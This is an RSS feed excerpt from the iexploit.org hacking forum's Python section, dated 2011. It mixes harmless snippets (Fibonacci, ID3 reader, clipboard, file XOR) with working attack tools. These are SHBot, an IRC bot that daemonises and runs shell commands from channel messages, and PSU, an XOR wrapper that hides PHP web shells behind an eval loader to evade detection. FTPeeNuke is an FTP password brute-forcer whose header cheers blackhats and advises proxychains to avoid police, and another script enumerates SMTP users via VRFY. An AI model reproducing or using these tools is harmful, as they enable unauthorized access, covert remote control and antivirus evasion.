      <description><![CDATA[This program ask the user to insert the quantity of numbers from the fibonacci sequence are going to print. And as an add-on the program ask you if you wanna insert another number.<br><div class="PreContainer"><pre><br>def sequence (i)&amp;#58;<br>    n = 1<br>    a = 0<br>    b = 1<br>    c = 0<br>    while n&amp;lt;=i&amp;#58;<br>        if n==1&amp;#58;<br>            print \&quot;0\&quot;,<br>            n = n + 1<br>        elif n==2&amp;#58;<br>            print \&quot;1\&quot;,<br>            n = n + 1<br>        else&amp;#58;<br>            c = a + b<br>            a = b<br>            b = c<br>            print c,<br>            n = n + 1<br>            continue<br>r = str(\&quot;Y\&quot;)<br>while (r == \&quot;y\&quot;)or(r==\&quot;Y\&quot;)&amp;#58;<br>    i = input(\&quot;Insert the quantity of numbers that you like to print    \&quot;)<br>    sequence(i)<br>    print \&quot;\&quot;<br>    r = raw_input(\&quot;You wanna insert another number Y/N   \&quot;)<br></pre></div>]]></description>
   </item>
   <item>
      <title>Rainbow Tables Generator</title>
      <link>http://iexploit.org/index.php?p=/discussion/5774/rainbow-tables-generator</link>
      <pubDate>Sat, 27 Aug 2011 14:27:42 -0400</pubDate>
      <dc:creator>linc0ln.dll</dc:creator>
      <guid isPermaLink="false">5774@/index.php?p=/discussions</guid>
      <description><![CDATA[<div class="PreContainer"><pre>http&amp;#58;//pastie&amp;#46;org/2438398</pre></div>]]></description>
   </item>
   <item>
      <title>positioning pointer file</title>
      <link>http://iexploit.org/index.php?p=/discussion/5696/positioning-pointer-file</link>
      <pubDate>Sun, 14 Aug 2011 22:29:24 -0400</pubDate>
      <dc:creator>schumbag</dc:creator>
      <guid isPermaLink="false">5696@/index.php?p=/discussions</guid>
      <description><![CDATA[This example illustrates the program to read from a file format id3 mp3.<br>for ID3v1, will be stored at 128 the last byte, where if the file has a tag (id3), then TAG.for there will be writing the file to have this tag, we will process it, it's just should be in a position to move the file pointer to the last 128 bytes.<br><div class="PreContainer"><pre><br>#!/usr/bin/python<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23coder&amp;Mode=like">#coder</a> &amp;#58; cakill schumbag<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23program&amp;Mode=like">#program</a> ilustrasikan mp3 reader<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23untuk&amp;Mode=like">#untuk</a> file yang memiliki TAG akan di proses<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23tapi&amp;Mode=like">#tapi</a> sebelumnya harus di pindah ke posisi pointer 128 byte terakhir<br>import sys<br>def main()&amp;#58;<br>    if len(sys&amp;#46;argv) &amp;lt; 2 &amp;#58;<br>        sys&amp;#46;exit('gk terjadi apa-apa tuh')<br>    else&amp;#58;<br>      try&amp;#58;<br>        a = open(sys&amp;#46;argv&amp;#91;1&amp;#93;)<br>        a&amp;#46;seek(-128,2)<br>        info = ()<br>        if a&amp;#46;read(3) == 'TAG'&amp;#58;<br>          info&amp;#91;'title'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>          info&amp;#91;'artist'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>          info&amp;#91;'album'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>          info&amp;#91;'year'&amp;#93; = a&amp;#46;read(4) &amp;#46;strip()<br>          info&amp;#91;'comment'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>          a&amp;#46;close()<br>          for i in info&amp;#46;keys()&amp;#58;<br>            print'%s = %s' %(i,info&amp;#91;i&amp;#93;)<br>            else&amp;#58;<br>           a&amp;#46;close()<br>           sys&amp;#46;exit('file nya gak pake tag')<br>    <br>          except IOError, msg&amp;#58;<br>         sys&amp;#46;exit(msg)<br>if __name__ == '__main__'&amp;#58;<br>    main()<br></pre></div><br><br>Explanation :<br><div class="PreContainer"><pre><br>a = open(sys&amp;#46;argv&amp;#91;1&amp;#93;)<br>a&amp;#46;seek(-128,2)<br>info = ()<br>if a&amp;#46;read(3) == 'TAG'&amp;#58;<br>info&amp;#91;'title'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>info&amp;#91;'artist'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>info&amp;#91;'album'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br>info&amp;#91;'year'&amp;#93; = a&amp;#46;read(4) &amp;#46;strip()<br>info&amp;#91;'comment'&amp;#93; = a&amp;#46;read(30) &amp;#46;strip()<br></pre></div><br>after we move the file pointer position and know that the file<br>have a tag, we can get the title, artist, album, year and comment reply one by one have a data width 30byte, 30byte, 30byte, 4byte, and 30byte sequentially relative to one another.<br>This script put it all into one dir.<br>http&#58;//lppt&#46;ugm&#46;ac&#46;id/py&#46;png<br><br>and this. . .<br><div class="PreContainer"><pre><br>for i in info&amp;#46;keys()&amp;#58;<br>print'%s = %s' %(i,info&amp;#91;i&amp;#93;)</pre></div><br>will print the info that we can<br><br>regards,and say hi from indonesian :)]]></description>
   </item>
   <item>
      <title>SHBot</title>
      <link>http://iexploit.org/index.php?p=/discussion/5652/shbot</link>
      <pubDate>Mon, 08 Aug 2011 17:52:45 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">5652@/index.php?p=/discussions</guid>
      <description><![CDATA[Hi guys,<br><br>SHBot is the name of an irc bot.<br>You can run shell commands from IRC channel with the following code.<br><br><div class="PreContainer"><pre>#!/usr/bin/python<br><br>import os, random, socket, sys<br><br>def usage() &amp;#58;<br>	print 'Usage&amp;#58; %s &amp;#91;Server address&amp;#93; &amp;#91;#Channel&amp;#93;' % sys&amp;#46;argv&amp;#91;0&amp;#93;<br>	exit()<br><br>def ForK() &amp;#58;<br>	pid = os&amp;#46;fork()<br>	if pid != 0 &amp;#58;<br>		exit()<br><br>def main() &amp;#58;<br>    num = ''<br>    for i in range(0, 3) &amp;#58;<br>        rand = random&amp;#46;randint(0, 10)<br>        num += str(rand)<br><br>    NICK = 'SH&amp;#91;' + num + '&amp;#93;'<br>    USER = 's1n4zbot'<br>    SERV = sys&amp;#46;argv&amp;#91;1&amp;#93;<br>    CHAN = sys&amp;#46;argv&amp;#91;2&amp;#93;<br>    sock = socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_STREAM)<br><br>    try &amp;#58;<br>        sock&amp;#46;connect((SERV, 6667))<br><br>    except &amp;#58;<br>        exit()<br><br>    sock&amp;#46;send('NICK %s\r\n' % NICK)<br>    sock&amp;#46;send('USER %s %s %s &amp;#58;Bot\r\n' % (USER, USER, SERV))<br><br>    while True &amp;#58;<br>        data = sock&amp;#46;recv(1024)<br><br>        if 'End of /MOTD command&amp;#46;' in data &amp;#58;<br>            sock&amp;#46;send('JOIN %s\r\n' % CHAN)<br>            break<br><br>    while True &amp;#58;<br>        data = sock&amp;#46;recv(1024)<br>        args = data&amp;#46;replace('&amp;#58;', '')&amp;#46;split()<br><br>        if len(args) &amp;gt;= 1 and args&amp;#91;0&amp;#93; == 'PING' &amp;#58;<br>            sock&amp;#46;send('PONG %s\r\n' % data&amp;#46;split()&amp;#91;1&amp;#93;)<br>            continue<br><br>        if len(args) &amp;gt;= 3 and args&amp;#91;1&amp;#93; == 'KICK' and args&amp;#91;3&amp;#93; == NICK &amp;#58;<br>            sock&amp;#46;send('JOIN %s\r\n' % CHAN)<br>            continue<br><br>        if len(args) &amp;gt;= 5 and args&amp;#91;3&amp;#93; == '!do' &amp;#58;<br>            command = data&amp;#91;data&amp;#46;find('!do')+4&amp;#58;-2&amp;#93;<br>            results = os&amp;#46;popen(command)&amp;#46;read()&amp;#46;splitlines()<br>            for result in results &amp;#58;<br>                sock&amp;#46;send('PRIVMSG %s &amp;#58;%s\r\n' % (CHAN, result))<br>            continue<br><br>        if len(args) &amp;gt;= 4 and args&amp;#91;3&amp;#93; == '!quit' &amp;#58;<br>            QMSG = data&amp;#91;data&amp;#46;find('!quit')+6&amp;#58;-2&amp;#93;<br>            sock&amp;#46;send('QUIT &amp;#58;%s\r\n' % QMSG)<br>            exit()<br><br><br>if len(sys&amp;#46;argv) == 3 &amp;#58;<br>	ForK()<br>	main()<br><br>else &amp;#58;<br>	usage()<br><br></pre></div><br><br>http&#58;//s1n4&#46;files&#46;wordpress&#46;com/2011/07/shbot&#46;png?<br><br><a class="postlink" rel="nofollow" href="http://s1n4.wordpress.com/2011/07/18/shbot/">http://s1n4.wordpress.com/2011/07/18/shbot/</a>]]></description>
   </item>
   <item>
      <title>PSU</title>
      <link>http://iexploit.org/index.php?p=/discussion/5653/psu</link>
      <pubDate>Mon, 08 Aug 2011 18:01:32 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">5653@/index.php?p=/discussions</guid>
      <description><![CDATA[What is PSU ?<br>PSU is a xor encoder for php shells (â€œphp shell undetectorâ€, indeed a tool for hackers)<br>You can xor your php code with the following code.<br><br><div class="PreContainer"><pre>#!/usr/bin/python<br><br>import sys<br><br>def usage() &amp;#58;<br>	print 'Usage &amp;#58; %s &amp;#91;file&amp;#93; &amp;#91;key&amp;#93;' % sys&amp;#46;argv&amp;#91;0&amp;#93;<br>	exit()<br><br>def main(fn, key) &amp;#58;<br>	try &amp;#58;<br>		Input = file(fn, 'r')&amp;#46;read()<br><br>	except &amp;#58;<br>		usage()<br><br>	enc = ''<br>	res = ''<br>	c = 0<br><br>	if Input&amp;#46;find('&amp;lt;?php') != -1 &amp;#58;<br>		Input = Input&amp;#46;replace('&amp;lt;?php', '')<br><br>	elif Input&amp;#46;find('&amp;lt;?') != -1 &amp;#58;<br>		Input = Input&amp;#46;replace('&amp;lt;?', '')<br><br>	elif Input&amp;#46;find('?&amp;gt;') != -1 &amp;#58;<br>		Input = Input&amp;#46;replace('?&amp;gt;', '')<br><br>	for i in Input &amp;#58;<br>		enc += chr(ord(i) ^ ord(key&amp;#91;c&amp;#93;))<br><br>		if c == len(key)-1 &amp;#58;<br>			c = 0<br>		continue<br>	c += 1<br><br>	for ii in enc &amp;#58;<br>		res += r'\x' + ii&amp;#46;encode('hex')<br><br>	x = fn&amp;#91;&amp;#58;-fn&amp;#46;find('&amp;#46;')-2&amp;#93;<br>	y = x + 'xored&amp;#46;'<br>	z = y + fn&amp;#91;fn&amp;#46;find('&amp;#46;')+1&amp;#58;&amp;#93;<br><br>	Output = file(z, 'w')<br>	Output&amp;#46;write('&amp;lt;?php\n')<br>	Output&amp;#46;write('$code = \&quot;' + res + '\&quot;;\n')<br>	Output&amp;#46;write('$key = \&quot;' + key + '\&quot;;\n')<br>	Output&amp;#46;write('''$mcode = \&quot;\&quot;;<br>	$c2 = 0;<br><br>	for ($c=0; $c&amp;lt;=strlen($code)-1; $c++)<br>{<br>	$mcode &amp;#46;= chr(ord($code&amp;#91;$c&amp;#93;) ^ ord($key&amp;#91;$c2&amp;#93;));<br>	if ($c2 == strlen($key)-1)<br>	{<br>		$c2 = 0;<br>		continue;<br>	}<br>	$c2++;<br>}<br>eval($mcode);<br>?&amp;gt;''')<br>	Output&amp;#46;close()<br><br>if len(sys&amp;#46;argv) == 3 &amp;#58;<br>	main(sys&amp;#46;argv&amp;#91;1&amp;#93;, sys&amp;#46;argv&amp;#91;2&amp;#93;)<br>	print 'Done!'<br><br>else &amp;#58;<br>	usage()<br></pre></div><br><br><a class="postlink" rel="nofollow" href="http://s1n4.wordpress.com/2011/08/06/psu/">http://s1n4.wordpress.com/2011/08/06/psu/</a>]]></description>
   </item>
   <item>
      <title>Python number guessing game</title>
      <link>http://iexploit.org/index.php?p=/discussion/2904/python-number-guessing-game</link>
      <pubDate>Thu, 21 Jul 2011 11:46:10 -0400</pubDate>
      <dc:creator>nu11byte</dc:creator>
      <guid isPermaLink="false">2904@/index.php?p=/discussions</guid>
      <description><![CDATA[Well, I got bored and decided to brush up on some Python. It's been quite a while since I actually sat down and coded a program from scratch. This is very simple, yet I have tried to add some level of complexity to it. Feel free to post some changes and suggestions to this program (Yes, I know I didn't need to define some stuff, I just did to refresh my mind).<br><br>Edit: Source code posted on Pastebin as the forums code tags fubar'd my code and indentations.<br><br><a class="postlink" rel="nofollow" href="http://pastebin.com/NgH5N63X">http://pastebin.com/NgH5N63X</a>]]></description>
   </item>
   <item>
      <title>How to copy string to clipboard</title>
      <link>http://iexploit.org/index.php?p=/discussion/2967/how-to-copy-string-to-clipboard</link>
      <pubDate>Sun, 24 Jul 2011 20:25:05 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">2967@/index.php?p=/discussions</guid>
      <description><![CDATA[You can copy string to clipboard with GUI toolkit but how, for example you can use Tkinter. (ah, I should say in python)<br><br>you can copy string to clipboard with the following code.<br>(It's just a sample)<br><br><div class="PreContainer"><pre><br>#!/usr/bin/python<br><br>from Tkinter import Tk<br>x = Tk()<br>x&amp;#46;withdraw()<br>x&amp;#46;clipboard_clear()<br>i = raw_input(\&quot;&amp;gt;&amp;gt; \&quot;)<br>x&amp;#46;clipboard_append(i)<br>x&amp;#46;destroy()<br><br>print repr(i), \&quot;Copied to clipboard\&quot;<br>raw_input(\&quot;Press enter to exit\&quot;)<br></pre></div>]]></description>
   </item>
   <item>
      <title>xor encoder v2.0</title>
      <link>http://iexploit.org/index.php?p=/discussion/2831/xor-encoder-v2-0</link>
      <pubDate>Fri, 24 Jun 2011 09:51:41 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">2831@/index.php?p=/discussions</guid>
      <description><![CDATA[Another version of xor encoder<br><br><div class="PreContainer"><pre>#!/usr/bin/python<br><br>################################<br>#####                      #####<br>#####      Xor encoder     #####<br>#####   For encoding file  #####<br>#####                      #####<br>#####    Writen by s1n4    #####<br>#####    June 16 , 2011    #####<br>#####       3&amp;#58;55 AM        #####<br>#####                      #####<br>################################<br><br>import sys<br><br>def usage() &amp;#58;<br>    print 'Usage&amp;#58; %s &amp;#91;Key&amp;#93; &amp;#91;File&amp;#93;' % sys&amp;#46;argv&amp;#91;0&amp;#93;<br>    exit()<br><br>def xor(key, fn) &amp;#58;<br>    try &amp;#58;<br>        Input = open(fn, 'rb')&amp;#46;read()<br><br>    except IOError &amp;#58;<br>        usage()<br><br>    res = ''<br>    c = 0<br><br>    for i in Input &amp;#58;<br>        res += chr(ord(i) ^ ord(key&amp;#91;c&amp;#93;))<br>        if c == len(key) - 1 &amp;#58;<br>            c = 0<br>            continue<br><br>        c += 1<br><br>    try &amp;#58;<br>        Output = open(fn, 'wb')<br>        Output&amp;#46;write(res)<br><br>    finally &amp;#58;<br>        Output&amp;#46;close()<br>        print key, 'xor', fn<br><br>def main() &amp;#58;<br>    if len(sys&amp;#46;argv) == 3 &amp;#58;<br>        xor(sys&amp;#46;argv&amp;#91;1&amp;#93;, sys&amp;#46;argv&amp;#91;2&amp;#93;)<br><br>    else &amp;#58;<br>        usage()<br><br>main()</pre></div><br><br>For example :<br><div class="PreContainer"><pre>xor&amp;#46;py s1n4 test&amp;#46;zip</pre></div><br><br>For access to the original file you must xor again with latest key.]]></description>
   </item>
   <item>
      <title>xor encoder v1.0</title>
      <link>http://iexploit.org/index.php?p=/discussion/2827/xor-encoder-v1-0</link>
      <pubDate>Thu, 23 Jun 2011 04:02:29 -0400</pubDate>
      <dc:creator>s1n4</dc:creator>
      <guid isPermaLink="false">2827@/index.php?p=/discussions</guid>
      <description><![CDATA[Hi everyone,<br><br>I wrote a simple xor encoder in python.<br><br><div class="PreContainer"><pre>#!/usr/bin/python<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23A&amp;Mode=like">#A</a> simple xor encoder<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Xor&amp;Mode=like">#Xor</a> the input file with 0-255<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Written&amp;Mode=like">#Written</a> by s1n4<br><br><br>import sys<br><br>def usage() &amp;#58;<br>	print 'Usage&amp;#58; %s &amp;#91;Key&amp;#93; &amp;#91;File&amp;#93;' % sys&amp;#46;argv&amp;#91;0&amp;#93;<br>	print '&amp;#91;Key&amp;#93; 0x00-0xff same as 0-255'<br>	exit()<br><br><br>def xor(key, fn) &amp;#58;<br>	try &amp;#58;<br>		Input = open(fn, 'rb')&amp;#46;read()<br><br>	except IOError &amp;#58;<br>		usage()<br><br>	res = ''<br><br>	for i in Input &amp;#58;<br>		try &amp;#58;<br>			res += chr(ord(i) ^ eval(key))<br><br>		except &amp;#58;<br>			usage()<br><br><br>	try &amp;#58;<br>		Output = open(fn, 'wb')<br>		Output&amp;#46;write(res)<br><br>	finally &amp;#58;<br>		Output&amp;#46;close()<br>		print fn, 'xor', key<br><br><br>def main() &amp;#58;<br>	if len(sys&amp;#46;argv) == 3 &amp;#58;<br>		xor(sys&amp;#46;argv&amp;#91;1&amp;#93;, sys&amp;#46;argv&amp;#91;2&amp;#93;)<br><br>	else &amp;#58;<br>		usage()<br><br>main()<br></pre></div><br><br>For example :<br><div class="PreContainer"><pre>xor&amp;#46;py 0x4a test&amp;#46;txt</pre></div><br><br>For access to the original file you must xor again with latest key.]]></description>
   </item>
   <item>
      <title>FTPeeNuke</title>
      <link>http://iexploit.org/index.php?p=/discussion/2345/ftpeenuke</link>
      <pubDate>Sun, 27 Feb 2011 00:59:38 -0500</pubDate>
      <dc:creator>chroniccommand</dc:creator>
      <guid isPermaLink="false">2345@/index.php?p=/discussions</guid>
      <description><![CDATA[<span><span style="color: #000080;">FTPeeNuke version 1.0</span></span><br><br>FTPeeNuke is an FTP brute forcer written in Python by me(chroniccommand). <br><br>It uses ftplib to try and connect to the server over and over until it gets a password match or it reaches the end of the wordlist.<br><br>Tested on:<br>[list]<br>[*]T35 accounts[/*:m]<br>[*]Local proFTP server[/*:m][/list:u]<br><br><br><span>Source:</span><br><br><div class="PreContainer"><pre><br>#!/usr/bin/python<br><br>'''<br>FTPeeNuke v1&amp;#46;0<br>Author&amp;#58; Chroniccommand<br>http&amp;#58;//poison&amp;#46;teamxpc&amp;#46;com ; http&amp;#58;//iExploit&amp;#46;org/ ; http&amp;#58;//team-xpc&amp;#46;com/ ; http&amp;#58;//haxme&amp;#46;org/<br>Blackhats ftw&amp;#46; Fuck whitehats&amp;#46;<br><br>Please note that this is best used with proxychains to protect your identity&amp;#46;<br>Would'nt wanna get fuxed up by the po po would ya?<br>'''<br><br>print('''<br> _____ _____ _____         _____     _       <br>|   __|_   _|  _  |___ ___|   | |_ _| |_ ___ <br>|   __| | | |   __| -_| -_| | | | | | '_| -_|<br>|__|    |_| |__|  |___|___|_|___|___|_,_|___|<br>Version 1&amp;#46;0<br>Author&amp;#58; Chroniccommand<br>http&amp;#58;//poison&amp;#46;teamxpc&amp;#46;com/<br>NOTE&amp;#58; You may wanna use proxychains with this<br>''')<br><br>import sys, ftplib<br><br>def usage()&amp;#58;<br>    '''<br>    Print usage<br>    '''<br>    print(\&quot;Usage&amp;#58; %s &amp;lt;target&amp;gt; &amp;lt;username&amp;gt; &amp;lt;wordlist&amp;gt;\nExample&amp;#58; &amp;#46;/ftpeenuke&amp;#46;py 192&amp;#46;168&amp;#46;1&amp;#46;1 root /wordlist&amp;#46;txt\&quot; % sys&amp;#46;argv&amp;#91;0&amp;#93;)<br>    sys&amp;#46;exit()<br><br>if len(sys&amp;#46;argv) != 4&amp;#58;<br>    usage()<br><br>global host<br>host = str(sys&amp;#46;argv&amp;#91;1&amp;#93;)<br>global user<br>user = str(sys&amp;#46;argv&amp;#91;2&amp;#93;)<br>global wlist<br>wlist = str(sys&amp;#46;argv&amp;#91;3&amp;#93;)<br><br>def isanon(hst)&amp;#58;<br>    '''<br>    Check for anonymous login<br>    '''<br>    print \&quot;Checking&amp;#46;&amp;#46;&amp;#46;\&quot;<br>    try&amp;#58;<br>        conn = ftplib&amp;#46;FTP(hst)<br>        conn&amp;#46;login()<br>        conn&amp;#46;retrlines('LIST')<br>        conn&amp;#46;quit()<br>        print \&quot;Anon login successful\&quot;<br>        raw_input(\&quot;Press enter to continue&amp;#46;&amp;#46;&amp;#46;\&quot;)<br>        print(\&quot;Attacking %s\&quot; % host)<br>        pass<br>    except Exception&amp;#58;<br>        print \&quot;Anon login unsuccessful\&quot;<br>        raw_input(\&quot;Press enter to continue&amp;#46;&amp;#46;&amp;#46;\&quot;)<br>        print(\&quot;Attacking %s\&quot; % host)<br>        pass<br>    <br>def bruteme(word, usr)&amp;#58;<br>    '''<br>    Attack<br>    '''<br>    try&amp;#58;<br>        conn = ftplib&amp;#46;FTP(host)<br>        conn&amp;#46;login(usr, word)<br>        conn&amp;#46;retrlines('LIST')<br>        conn&amp;#46;quit()<br>        print(\&quot;Found password for user %s\&quot; % usr)<br>        print(\&quot;Password&amp;#58; \&quot; + word)<br>        writefile = raw_input(\&quot;Write to file?&amp;#91;Y/n&amp;#93;\&quot;)<br>        if writefile == \&quot;Y\&quot;&amp;#58;<br>            file = open(\&quot;ftpeenuke&amp;#46;txt\&quot;, 'a')<br>            file&amp;#46;write(\&quot;-+-+-+-+-+-{FTPeeNuke dump}+-+-+-+-+-+\n\&quot;)<br>            file&amp;#46;write(\&quot;Host&amp;#58; \&quot; + sys&amp;#46;argv&amp;#91;1&amp;#93; + \&quot;\n\&quot;)<br>            file&amp;#46;write(\&quot;Username&amp;#58; \&quot; + usr + \&quot;\n\&quot;)<br>            file&amp;#46;write(\&quot;Password&amp;#58; \&quot; + word + \&quot;\n\&quot;)<br>            file&amp;#46;write(\&quot;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\&quot;)<br>            file&amp;#46;close()<br>            print(\&quot;Dumped results to file\&quot;)<br>            raw_input(\&quot;Press enter to continue\&quot;)<br>            sys&amp;#46;exit()<br>        else&amp;#58;<br>            raw_input(\&quot;Press enter to continue\&quot;)<br>            sys&amp;#46;exit()<br>    except Exception&amp;#58;<br>        print(\&quot;Trying password %s\&quot; % word)<br>        pass<br>    except KeyboardInterrupt&amp;#58;<br>        print(\&quot;FTPeeNuke aborted by user\n\&quot;)<br>        sys&amp;#46;exit(1)<br><br>try&amp;#58;<br>    wordfile = open(wlist, 'r')<br>    curwords = wordfile&amp;#46;readlines()<br>    current = 0<br>    while current &amp;lt; len(curwords)&amp;#58;<br>        curwords&amp;#91;current&amp;#93; = curwords&amp;#91;current&amp;#93;&amp;#46;strip()<br>        current = current + 1<br>except IOError&amp;#58;<br>    print(\&quot;Could not find your wordlist file&amp;#46; Exiting&amp;#46;&amp;#46;&amp;#46;\&quot;)<br>    sys&amp;#46;exit()<br>    <br>check = raw_input(\&quot;Check for anonymous login?&amp;#91;Y/n&amp;#93;\&quot;)<br>if check == 'Y'&amp;#58;<br>    isanon(host)<br>    for word in curwords&amp;#58;<br>        bruteme(word&amp;#46;replace(\&quot;\n\&quot;,\&quot;\&quot;), user)<br>else&amp;#58;<br>    print(\&quot;Attacking %s\&quot; % host)<br>    for word in curwords&amp;#58;<br>        bruteme(word&amp;#46;replace(\&quot;\n\&quot;,\&quot;\&quot;), user)<br></pre></div><br><br>README:<br><blockquote class="Quote"><div class="QuoteText"><br>FTPeeNuke is an FTP bruteforcer written in Python by chroniccommand.<br><br>Please note that you should use proxychains with this as the server will log your IP for every login attempt.<br><br><a class="postlink" rel="nofollow" href="http://poison.teamxpc.com/">http://poison.teamxpc.com/</a><br><a class="postlink" rel="nofollow" href="http://iexploit.org/">http://iexploit.org/</a><br><a class="postlink" rel="nofollow" href="http://team-xpc.com/">http://team-xpc.com/</a><br><a class="postlink" rel="nofollow" href="http://haxme.org/">http://haxme.org/</a><br><br>Greets to x3n0n, Xinapse, Semtex-Primed and every other member I &lt;3<br></div></blockquote>]]></description>
   </item>
   <item>
      <title>Python exploits</title>
      <link>http://iexploit.org/index.php?p=/discussion/2784/python-exploits</link>
      <pubDate>Thu, 09 Jun 2011 22:40:24 -0400</pubDate>
      <dc:creator>Zero-One</dc:creator>
      <guid isPermaLink="false">2784@/index.php?p=/discussions</guid>
      <description><![CDATA[Hello everyone!<br />I've just started with Python programming language, and in 10 hours, I have figured it out and I have selected it as my second best programming language (after C).<br />Anyway, has anybody got some exploits written in Python?<br />I really need to now how do they look like (for my education of writing my own).<br />Well, that would be all.<br />Thank you!]]></description>
   </item>
   <item>
      <title>Anyone know the Regex to extract URLS from Google search?</title>
      <link>http://iexploit.org/index.php?p=/discussion/2753/anyone-know-the-regex-to-extract-urls-from-google-search</link>
      <pubDate>Sat, 28 May 2011 19:37:24 -0400</pubDate>
      <dc:creator>Xin</dc:creator>
      <guid isPermaLink="false">2753@/index.php?p=/discussions</guid>
      <description><![CDATA[I have \w+\.[\w\.\-/]*\.\w+' <br /><br />but all it does it extract the website url rather than the full address.<br /><br />eg google.com<br /><br />rather than google.com/&amp;s=t3ji5ya5]]></description>
   </item>
   <item>
      <title>Need help with smtp user brute script</title>
      <link>http://iexploit.org/index.php?p=/discussion/2724/need-help-with-smtp-user-brute-script</link>
      <pubDate>Sun, 15 May 2011 14:38:15 -0400</pubDate>
      <dc:creator>m0rph</dc:creator>
      <guid isPermaLink="false">2724@/index.php?p=/discussions</guid>
      <description><![CDATA[<div class="PreContainer"><pre><br>#!/usr/bin/python<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Unauthenticated&amp;Mode=like">#Unauthenticated</a> VRFY Username Brute Force<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23written&amp;Mode=like">#written</a> by m0rph<br>#www&amp;#46;iexploit&amp;#46;org<br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%2315MAY2011&amp;Mode=like">#15MAY2011</a><br><br>import socket, sys<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23If&amp;Mode=like">#If</a> no input<br><br>if len(sys&amp;#46;argv) != 3&amp;#58;<br>     print \&quot;Usage&amp;#58; vrfybrute&amp;#46;py &amp;lt;target IP&amp;gt; &amp;lt;user list&amp;gt;\&quot;<br>     sys&amp;#46;exit(0)<br><br><a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Function&amp;Mode=like">#Function</a> for connecting, reading from file, and guessing username from file<br><br>def brute() &amp;#58;<br><br>     target = str(sys&amp;#46;argv&amp;#91;1&amp;#93;) <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Define&amp;Mode=like">#Define</a> target's IP<br>     count = 0<br><br>     try &amp;#58;<br>          dict = open(sys&amp;#46;argv&amp;#91;2&amp;#93;, \&quot;rb\&quot;) <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Define&amp;Mode=like">#Define</a> User List<br>          buffer = dict&amp;#46;read()&amp;#46;splitlines()<br>     except &amp;#58;<br>          print \&quot;\n\t&amp;#91;-&amp;#93;Sorry, cannot open file\&quot;<br>     try &amp;#58;<br>          while True &amp;#58;<br>               user = buffer&amp;#91;count&amp;#93; <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Defines&amp;Mode=like">#Defines</a> user as the current username in the buffer<br>               s=socket&amp;#46;socket(socket&amp;#46;AF_INET, socket&amp;#46;SOCK_STREAM)<br>               connect=s&amp;#46;connect((target, 25))<br>               banner=s&amp;#46;recv(1024)<br>               print banner<br>               s&amp;#46;send('VRFY ' + user + '\r\n') <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Send&amp;Mode=like">#Send</a> VRFY command with user<br>               result=s&amp;#46;recv(1024)<br>               print result<br>               s&amp;#46;close()<br>               count=count+1  <a rel="nofollow" href="/index.php?p=/search&amp;Search=%23Set&amp;Mode=like">#Set</a> count to next user in list<br>          else &amp;#58;<br>               print \&quot;\n\t&amp;#91;-&amp;#93;Could not connect to server&amp;#46;\&quot;<br>               sys&amp;#46;exit(0)<br>     except &amp;#58;<br>          print \&quot;\n\t&amp;#91;-&amp;#93;End of user list&amp;#46;\&quot;<br>          sys&amp;#46;exit(0)<br><br>while True &amp;#58;<br>     brute()<br></pre></div><br><br>Sorry about the false alarm everyone, I solved all the issues I was having.<br><br>This script will take a user list and brute force them with an SMTP server through the VRFY command.<br><br>In otherwords, it's an ok way to enumerate users on an smtp server, should you find one that you don't have to authenticate with to use VRFY on.<br><br>Sample layout of a user list compatible with this:<br><div class="PreContainer"><pre><br>root<br>bob<br>jane<br>jeff<br>alice<br>billy<br></pre></div><br><br>Cheers guys]]></description>
   </item>
   </channel>
</rss>